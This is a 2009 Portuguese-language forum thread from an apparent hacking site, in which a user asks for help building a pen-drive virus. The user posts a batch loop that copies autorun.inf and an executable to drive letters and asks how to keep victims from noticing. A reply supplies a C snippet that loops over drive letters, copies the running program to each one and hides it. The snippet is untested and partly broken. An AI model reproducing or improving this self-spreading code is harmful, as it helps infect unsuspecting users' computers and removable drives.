FORUM DARKERS

Tecnologia & Informática => Programação => Batch Script => Topic started by: Mau on 04 de September , 2009, 03:32:59 PM

Title: [duvida] auto copiar para pendriver
Post by: Mau on 04 de September , 2009, 03:32:59 PM
[duvida] auto copiar
Estou tentando criar um vírus de pen driver mas não estou conseguindo fazer ele se auto copiar para outros pen driver quando inserido  tentei deste jeito:
Código
Echo off
:inicio

xcopy /h /y autorun.inf d:\

xcopy /h /y setap.exe d:\

goto inicio

para todas as letras do alfabeto mas quando pega uma letra do leitor de cartão da um erro assim "windows - sem disco" quando tem um pen driver inserido nele.
Assim o user vai ter porblemas e mada ver o pc em um técnico e ele vai ver que tem um vírus. De poco adianta fazer deste jeito.
Tem com fazer isso em batch como me ajudem. Help.
Há ia esquecer como por para ele esperar de 2 ou 3 segundos entre cada letra do alfabeto assim não usaria muito o cpu e o user nem se da conta mesmo que tem um arquivo trabalhado ai. Desde já agradeço mmmmuuuuiiiittttoooo.
Title: Re: [duvida] auto copiar para pendriver
Post by: CoXa on 16 de September , 2009, 09:12:40 PM
Mau,

Porque perder seu tempo em criar vírus de pendrive para empacar a vida de seus usuários?


Title: Re: [duvida] auto copiar para pendriver
Post by: Mateus on 17 de September , 2009, 09:52:21 AM
Melhor que gastar tempo fabricando software pra banking, não acha?
só que você está indo pelo caminho errado Mau.

Tente desenvolver numa linguagem de programação de alto nível, batch não leva ninguém a nada ^^
8)
Title: Re: [duvida] auto copiar para pendriver
Post by: Mau on 01 de October , 2009, 03:04:37 PM
Quote from: Mateus on 17 de September , 2009, 09:52:21 AM
Melhor que gastar tempo fabricando software pra banking, não acha?
só que você está indo pelo caminho errado Mau.

Tente desenvolver numa linguagem de programação de alto nível, batch não leva ninguém a nada ^^
8)


seja mais especifico. Qual?
Title: Re: [duvida] auto copiar para pendriver
Post by: keenlanas on 01 de October , 2009, 03:56:10 PM
Mau, tente C++ ou C  ::)

Há muitas maneiras de se fazer isso, entre colocar num loop infinito ou esperar pela mensagem que o windows manda quando um novo dispositivo plug and play é inserido...

O código em C poderia ficar assim (Usando como base a lógica que você usou):


GetModuleFileName(NULL, OrigemEXE,256);
strcpy(DestinoEXE, OrigemEXE);

while(1)
{
for (int i = 65; i<91; i++)
{
  DestinoEXE[0]=(char)i;
  if (!fopen(DestinoEXE, "r"))
  {
    CopyFile(DestinoEXE, OrigemEXE,0);
    SetFileAttributes(DestinoEXE, FILE_ATTRIBUTE_HIDDEN);
  }
}
}


O código é auto explicativo, porém, escrevi ele agora, e não testei, fica só a dica ;)

A grande sacada é testar se o arquivo existe já no local pra onde você quer copia-lo, esse teste não acusa erro (pelo menos, não em C), ele vai simplesmente retornar um NULL, pois o caminho não existe...

Coxa, respondendo você:

Nós não queremos melhorar a vida dos usuarios... Pensamos em coisas que PODEM ser maliciosas, mas pensar isso ANTES do outro nos dá a vantagem de estarmos preparado quando isso acontece.

Exemplo, por causa dos virus de PenDrive agora há USB Vacine, pra evitar que eles ocorram, é uma corrida por segurança, é assim que o mundo funciona XD

o/
Title: Re: [duvida] auto copiar para pendriver
Post by: Mau on 31 de October , 2009, 05:18:07 PM
Quote from: keenlanas on 01 de October , 2009, 03:56:10 PM
Mau, tente C++ ou C  ::)

Há muitas maneiras de se fazer isso, entre colocar num loop infinito ou esperar pela mensagem que o windows manda quando um novo dispositivo plug and play é inserido...

O código em C poderia ficar assim (Usando como base a lógica que você usou):


GetModuleFileName(NULL, OrigemEXE,256);
strcpy(DestinoEXE, OrigemEXE);

while(1)
{
for (int i = 65; i<91; i++)
{
  DestinoEXE[0]=(char)i;
  if (!fopen(DestinoEXE, "r"))
  {
    CopyFile(DestinoEXE, OrigemEXE,0);
    SetFileAttributes(DestinoEXE, FILE_ATTRIBUTE_HIDDEN);
  }
}
}


O código é auto explicativo, porém, escrevi ele agora, e não testei, fica só a dica ;)

A grande sacada é testar se o arquivo existe já no local pra onde você quer copia-lo, esse teste não acusa erro (pelo menos, não em C), ele vai simplesmente retornar um NULL, pois o caminho não existe...

Coxa, respondendo você:

Nós não queremos melhorar a vida dos usuarios... Pensamos em coisas que PODEM ser maliciosas, mas pensar isso ANTES do outro nos dá a vantagem de estarmos preparado quando isso acontece.

Exemplo, por causa dos virus de PenDrive agora há USB Vacine, pra evitar que eles ocorram, é uma corrida por segurança, é assim que o mundo funciona XD

o/

Valeu pela dica